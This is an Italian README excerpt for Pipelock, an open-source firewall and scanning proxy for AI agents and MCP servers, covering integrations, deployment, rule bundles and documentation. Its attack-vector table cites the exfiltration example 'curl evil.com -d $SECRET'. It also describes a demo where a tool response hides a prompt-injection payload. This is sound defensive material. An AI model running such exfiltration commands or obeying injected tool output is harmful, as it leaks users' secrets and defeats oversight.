- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`, `mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** Wrapping di `MCPServerStdio`, `MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`, `StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** Copertura completa del plugin o wrapping MCP leggero per l'agente di Nous Research, con preservazione del sidecar dell'header di autenticazione
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** Wrapping del proxy MCP per IntelliJ, PyCharm, GoLand ([walkthrough](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` registra Pipelock come hook di Cursor per l'esecuzione di shell, chiamate a strumenti MCP e letture di file; usa `--config` per incorporare un percorso di policy validato e `pipelock cursor remove` per rimuovere gli hook gestiti da Pipelock. Puoi anche usare `configs/cursor.yaml` con lo stesso pattern di proxy MCP di [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md) ([walkthrough](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` riscrive `.vscode/mcp.json` per instradare ogni server MCP attraverso il proxy MCP; `--global` ha come target il `mcp.json` a livello utente
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** sidecar del gateway, container init, wrapping della configurazione
- **Qualsiasi altro client MCP:** `pipelock generate mcporter` legge qualsiasi file JSON con un oggetto `mcpServers` di primo livello e avvolge ogni server attraverso il proxy di Pipelock, così un client che non è nella lista sopra passa comunque attraverso la scansione in un unico comando.
## Distribuzione```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Ricette di produzione per Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables e macOS PF: docs/guides/deployment-recipes.md
L'azione scarica un binario precompilato, esegue `pipelock audit`, analizza il diff della PR alla ricerca di segreti trapelati e carica il report di audit come artefatto del workflow. Vedi [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml) per un workflow completo.
### Demo Eseguibile: Iniezione di Risposta dello Strumento
Il harness [`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) esegue una demo end-to-end in cui uno strumento MCP con un nome e una descrizione innocui nasconde un payload di prompt injection nella sua risposta. Pipelock blocca la risposta prima che raggiunga l'agente ed emette ricevute di azione firmate che una terza parte può verificare. La stessa demo viene eseguita su tre trasporti con una chiave di firma condivisa:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Rilevamento che puoi estendere, condividere e distribuire più velocemente del binario principale.
Il DLP integrato di Pipelock, l'iniezione e il rilevamento di avvelenamento degli strumenti sono robusti fin da subito. I pacchetti di regole della community ti permettono di andare oltre: aggiungi i tuoi schemi per le forme di esfiltrazione, i formati di segreti e i trucchi di iniezione che il tuo stack vede, firmali e distribuiscili con una cadenza che controlli tu invece di aspettare una release.
Installa il pacchetto ufficiale in una riga:```bash pipelock rules install pipelock-community
I bundle di regole sono firmati e bloccati per versione. L'intero ciclo di vita è un comando integrato, non una modifica di configurazione:```bash
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
Scrivi la tua regola. Una regola è una piccola voce YAML con un nome, una categoria (DLP, injection o tool-poison) e un pattern. Firmala con la tua chiave, inseriscila in un bundle, e ogni istanza di Pipelock che esegui la raccoglierà. Condividila con la community e proteggerà anche tutti gli altri.
Contribuisci con una regola al bundle pubblico pipelock-rules, oppure leggi docs/rules.md per creare e firmare la tua.
Directory completa della documentazione: docs/
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ pipelock doctor and install-verification diagnostics
session/ pipelock session, pipelock adaptive, and pipelock baseline operator CLIs
setup/ pipelock init sidecar: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
## Testing
Pipelock viene testato come un prodotto di sicurezza. Il core open-source ha test unitari, di integrazione e end-to-end. Una suite avversaria privata separata esercita classi di attacco contro il binario di produzione. Ogni bypass viene trasformato in un test di regressione prima del rilascio.
| Metrica | Valore |
|--------|-------|
| Test Go (con `-race`) | Percorsi unitari, di integrazione e end-to-end |
| Soglia di copertura (codecov) | 91% progetto core Apache-2.0, 95% patch su nuovo codice |
| Copertura evasioni | Matrice pubblica di resistenza ai bypass + corpus avversario privato |
| Overhead del percorso caldo dello scanner | ~40us per scansione URL (benchmark percorso caldo; vedi [docs/performance.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/performance.md)) |
| Matrice CI | Go 1.25 + 1.26, CodeQL, golangci-lint |
| Catena di fornitura | Provenienza SLSA, SBOM CycloneDX, firme cosign |
Esegui `make test` per verificare localmente. Benchmark indipendente: il corpus pubblico [agent-egress-bench](https://github.com/luckyPipewrench/agent-egress-bench). Vedi i [risultati live](https://pipelab.org/gauntlet/).
---
## Crediti
- Architettura influenzata da [Claude Code sandboxing di Anthropic](https://www.anthropic.com/engineering/claude-code-sandboxing) e [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime)
- Modello di minaccia informato da [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
- Vedi [docs/comparison.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/comparison.md) per come Pipelock si relaziona ad altri strumenti in questo ambito
- Contributi alla revisione di sicurezza da Dylan Corrales
Contributi benvenuti. Vedi [CONTRIBUTING.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/CONTRIBUTING.md) per le linee guida.
Se Pipelock è utile, per favore [metti una stella a questo repository](https://github.com/luckyPipewrench/pipelock). Aiuta altri a trovare il progetto.
---
## Licenza
Il core di Pipelock è concesso in licenza secondo **Apache License 2.0**. Copyright 2026 Joshua Waldrep.
Le funzionalità multi-agente (identità per agente, budget e isolamento della configurazione) si trovano nella directory `enterprise/`, controllate dal tag di build `enterprise` e concesse in licenza secondo **Elastic License 2.0 (ELv2)**. Queste funzionalità si attivano con una chiave di licenza valida.
Il core open-source funziona indipendentemente senza funzionalità a pagamento. Tutte le scansioni, il rilevamento e la protezione per singolo agente sono gratuiti.
Gli artefatti di rilascio precompilati (Homebrew, rilasci GitHub, immagini Docker) includono codice del livello a pagamento che si attiva con una chiave di licenza valida. Compilare dal sorgente con `go install` o il `Dockerfile` del repository produce un binario solo Community.
Vedi [LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/LICENSE) per il testo Apache 2.0 e [enterprise/LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/enterprise/LICENSE) per il testo ELv2.
| Modalità | Sicurezza | Navigazione Web | Caso d'uso |
|---|
| rigorosa | Solo allowlist | Nessuna | Industrie regolamentate, alta sicurezza |
| bilanciata | Blocca naive + rileva sofisticati | Tramite fetch o proxy forward | La maggior parte degli sviluppatori (predefinito) |
| audit | Solo registrazione | Senza restrizioni | Valutazione prima dell'applicazione |
| Vettore d'Attacco | Rigorosa | Bilanciata | Audit |
|---|
curl evil.com -d $SECRET | Impedito | Impedito | Registrato |
| Segreto in parametri query URL | Impedito | Rilevato da DLP | Registrato |
| Segreto codificato in Base64 nell'URL | Impedito | Rilevato da entropia e DLP decodificato | Registrato |
| Tunnel DNS | Impedito | Rilevato da entropia del sottodominio | Registrato |
| Esfiltrazione a blocchi | Impedito | Rilevato da controlli di frequenza, budget e frammenti | Registrato |
| Blob crittografato con chiave pubblica nell'URL | Impedito | Registrato quando l'entropia lo segnala | Registrato |
| Pipelock | Scansionatori (agent-scan) | Sandbox (srt) | Agenti kernel (agentsh) |
|---|
| Prevenzione esfiltrazione segreti | Rigorosa blocca; bilanciata rileva | Parziale (modalità proxy) | Parziale (a livello di dominio) | Sì |
| DLP + analisi entropia | Sì | No | No | Parziale |
| Rilevamento prompt injection | Sì | Sì | No | No |
| Scansione MCP (bidirezionale + avvelenamento strumenti) | Sì | Sì | No | No |
| Proxy WebSocket (scansione frame) | Sì | No | No | No |
| Trasporto HTTP MCP (Streamable HTTP) | Sì | No | No | No |
| Kill switch di emergenza (6 sorgenti) | Sì | No | No | No |
| Rilevamento catena di chiamate strumenti | Sì | No | No | No |
| Sandbox di processo (senza Docker) | Sì | No | No | Sì (a livello kernel) |
| Singolo binario, zero dipendenze | Sì | No (Python) | No (npm) | No (kernel) |
| Minaccia | Copertura |
|---|
| ASI01 Agent Goal Hijack | Forte: MCP bidirezionale + scansione risposte |
| ASI02 Tool Misuse | Parziale: proxy come strumento controllato, scansione MCP |
| ASI03 Identity & Privilege Abuse | Forte: separazione capacità + protezione SSRF |
| ASI04 Supply Chain Vulnerabilities | Parziale: monitoraggio integrità + scansione MCP |
| ASI05 Unexpected Code Execution | Moderata: approvazione HITL, default fail-closed |
| ASI06 Memory & Context Poisoning | Moderata: rilevamento injection + propagazione contaminazione sessione |
| ASI07 Insecure Inter-Agent Communication | Parziale: scansione MCP/A2A, ID agente, integrità, firma |
| ASI08 Cascading Failures | Moderata: architettura fail-closed, limitazione frequenza |
| ASI09 Human-Agent Trust Exploitation | Parziale: modalità HITL, registrazione audit |
| ASI10 Rogue Agents | Forte: allowlist domini + limitazione frequenza + separazione capacità |
Dettagli, esempi di configurazione e analisi delle lacune: docs/owasp-mapping.md
<pl:aws-access-key:1> in HTTP, WebSocket e argomenti tools/call di MCP. Le ricevute registrano il profilo attivo e i conteggi per classe invece dei segreti in chiaro.pipelock explain <url> (anche explain event <id> e explain mcp) stampa lo scanner, il livello, la regola corrispondente, la superficie ispezionata e la manopola di configurazione più stretta disponibile per un falso positivo. Vedi docs/cli/explain.md.pipelock canary genera una configurazione di honeytoken. Un segreto sintetico che appare nel traffico in uscita dimostra che un agente o qualcosa nella sua catena sta esfiltrando variabili d'ambiente. Vedi token canary.pipelock skill-scan inventaria i file skill degli agenti, li confronta con un file lock di proprietà dell'operatore e segnala combinazioni source-to-sink come credential-to-network-sink o shell-to-write con prove di riga prima che qualsiasi cosa venga eseguita. Vedi docs/cli/skill-scan.md.| Document | Cosa contiene |
|---|
| Configuration Reference | Tutti i campi di configurazione, valori predefiniti, comportamento di ricarica a caldo, preimpostazioni |
| Request Policy | Binari di negazione/avviso con permesso predefinito sulle operazioni API in uscita (GraphQL / discriminatore / batch), fail-closed (v2.6) |
| Request Redaction | Riscrittura delle richieste JSON su trasporti HTTP, WebSocket e MCP |
| False Positive Tuning | Identificazione, soppressione e ottimizzazione dei risultati dello scanner |
| Scan API | Endpoint di valutazione per scansione programmatica |
| Deployment Recipes | Docker Compose, sidecar K8s, iptables, macOS PF |
pipelock doctor | Diagnostica di distribuzione tra configurabile e applicabile per proxy, TLS, MCP, file_sentry, telemetria e segnali di contenimento |
pipelock dashboard | Configurazione della dashboard operatore: modalità di autenticazione, permessi RBAC, prove, esenzioni, budget, trust e chiavi, viste della flotta, backup/ripristino e certificati di copertura |
pipelock verify-install | Scansione deterministica, prova locale e controlli di fumo in uscita diretta |
pipelock update | Aggiornamento automatico verificato: manifest di rilascio firmato, verifica checksum, cross-check facoltativo cosign, installazione atomica, rollback |
| Bypass Resistance | Tecniche di evasione note, mitigazioni, limitazioni |
| Known Attacks Blocked | Attacchi reali con frammenti di riproduzione |
| SIEM Integration | Schema log, output CEF/syslog, inoltro durevole Enterprise, ciclo di vita, metriche, query SIEM |
| Metrics Reference | Famiglie di metriche Prometheus, etichette, statistiche JSON e regole di allerta |
| Community Rules | Installare, configurare e creare bundle di regole firmate |
| Security Assurance | Modello di sicurezza, confini di fiducia, supply chain |
| Security Documents | Politica di divulgazione, percorsi non supportati, rotazione delle chiavi, modelli di minaccia TLS CA e Audit Packet |
| Enterprise Readiness | Controlli enterprise forniti, percorso di valutazione, decisioni di distribuzione e confini espliciti |
| Reproducible Builds | Verifica binaria OSS byte per byte, input stabili, integrazione del rilascio e ambito |
| Finding Suppression | Nomi delle regole, corrispondenza dei percorsi, commenti in linea |
| Transport Modes | Tutte le modalità proxy e le loro capacità di scansione |
| OWASP MCP Top 10 | Copertura OWASP MCP Top 10 |
| OWASP Agentic Top 15 | Copertura OWASP Agentic AI Top 15 |
| OWASP LLM Top 10 | Copertura OWASP Top 10 for LLM Applications (2025) |
| EU AI Act | Mapping conformità EU AI Act |
| NIST 800-53 | Mapping controlli NIST SP 800-53 Rev. 5 |
| Assess Mapping | Mappa i controlli di runtime ai framework rispetto ai quali pipelock assess produce prove, per revisione di procurement e audit |
| Policy Spec v0.1 | Formato di policy del firewall portabile per agenti |
| Mediation Envelope | Intestazioni metadata out-of-band, configurazione, interazione con i ricevute |
| Media Policy | Rimozione stego, hardening SVG, tipi consentiti, limiti di dimensione |
| Evidence Terminology | Riferimento rapido per ActionReceipt, EvidenceReceipt, registratore di volo, checkpoint, ancore, certificati di copertura e Audit Packet, con le distinzioni integrità-vs-completezza e pinned-vs-unpinned |
| Receipt Verification | pipelock verify-receipt, verifica del Fleet Receipt Report, pipelock-verifier autonomo, suite di conformità, integrità della catena |
| Receipt Spec Profiles | Predicato di attestazione in-toto per action receipt, con profili SCITT e AARP associati e mapping dello stato dell'arte |
| Audit Packet Threat Model | Cosa dimostrano i Audit Packet verificati, cosa non dimostrano e le assunzioni di fiducia che le parti fidate devono ancorare |
| Receipt Transport Coverage | Matrice di emissione dei ricevute attraverso percorsi fetch, forward, CONNECT/TLS, WebSocket, MCP e A2A |
| Learn-and-Lock | Contratti comportamentali per agente: osservare, compilare, shadow, ratificare, promuovere (v2.4) |
| Federation | Verifica dell'involucro di mediazione in entrata, formato attore SPIFFE, directory well-known RFC 9421 (v2.4) |
| Block-Reason Header | Schema X-Pipelock-Block-Reason, vocabolario delle ragioni, suggerimenti di riprova (v2.4) |
| Health Endpoint | Rilevamento wedge /health 503, heartbeat dei sottosistemi, configurazione dashboard operatore (v2.4) |
| Host Containment | pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh per contenimento con owner-match nftables 3-UID con attestazione della postura osservata dal kernel (v2.5) |
| MCP Integrity Manifests | Generare, verificare, firmare e richiedere manifest di integrità binaria MCP affidabili (v2.5) |
| Adaptive CLI | Ispezionare e svuotare lo stato runtime dell'applicazione adattiva tramite l'API admin (v2.5) |
| Conductor | Il piano di controllo della flotta Enterprise: distribuzione delle policy, sink di audit, kill remoto, rollback, trust mTLS/SPIFFE, licenze (v2.7, Enterprise) |
| Conductor Operator Runbook | Walkthrough pratico della flotta locale: bootstrap, servizio, firma di un batch, verifica offline |
| Conductor Operator Quickstart | Da zero a un audit di flotta in sola lettura: licenza, certificato mTLS operatore, token auditor, comandi in sola lettura |
| Kubernetes Enterprise Deployment | Flotta Conductor basata su Helm: piano di controllo, follower, fleet-sink, segreti PKI, NetworkPolicy |
pipelock license | Installare, ispezionare e verificare la licenza che sblocca le funzionalità a pagamento (Pro agents, Enterprise fleet) |
pipelock baseline | Ispezionare, ratificare e riapprendere i profili di baseline comportamentale tramite l'API admin autenticata |
| Posture Capsule | Snapshot di postura firmati, CLI posture verify, gate CI, modello di punteggio |
pipelock init sidecar | Generare manifest del proxy companion Kubernetes e contratti del launcher MCP (strategic-merge, Kustomize, valori Helm) |
pipelock session | CLI operatore per ispezione e ripristino airlock (list, inspect, explain, release, terminate, recover) |
pipelock keys status | Inventario unificato delle chiavi di firma: fonte per scopo, presenza, leggibilità, validità e impronta della chiave pubblica |
| Flight Recorder | Log di prove firmato con catena hash: comportamento predefinito attivo, sigillo transcript-root, redazione, escrow, rotazione delle chiavi |
| TLS Interception | MITM del tunnel CONNECT: configurazione CA, scansione corpo/intestazione/risposta, domini passthrough |
| Canary Tokens | Segreti sintetici che attivano un alert nel momento in cui un agente tenta di esfiltrare uno di essi |
| Detection Integration | Alimentare le decisioni e le prove di Pipelock nelle pipeline esterne di rilevamento / SIEM |
| PR Review | Revisione di sicurezza AI attivata manualmente per le pull request (commento /review) |
| MCP Inspector Front | Strumenti di sviluppo MCP Front (Inspector, server di test) attraverso la scansione Pipelock |
pipelock demo | Scenari di attacco autocontenuti con ricevute firmate e verificabili offline, nessuna configurazione o rete necessaria |
| Badges | Markdown pronto all'uso per il badge scanned by pipelock su progetti downstream |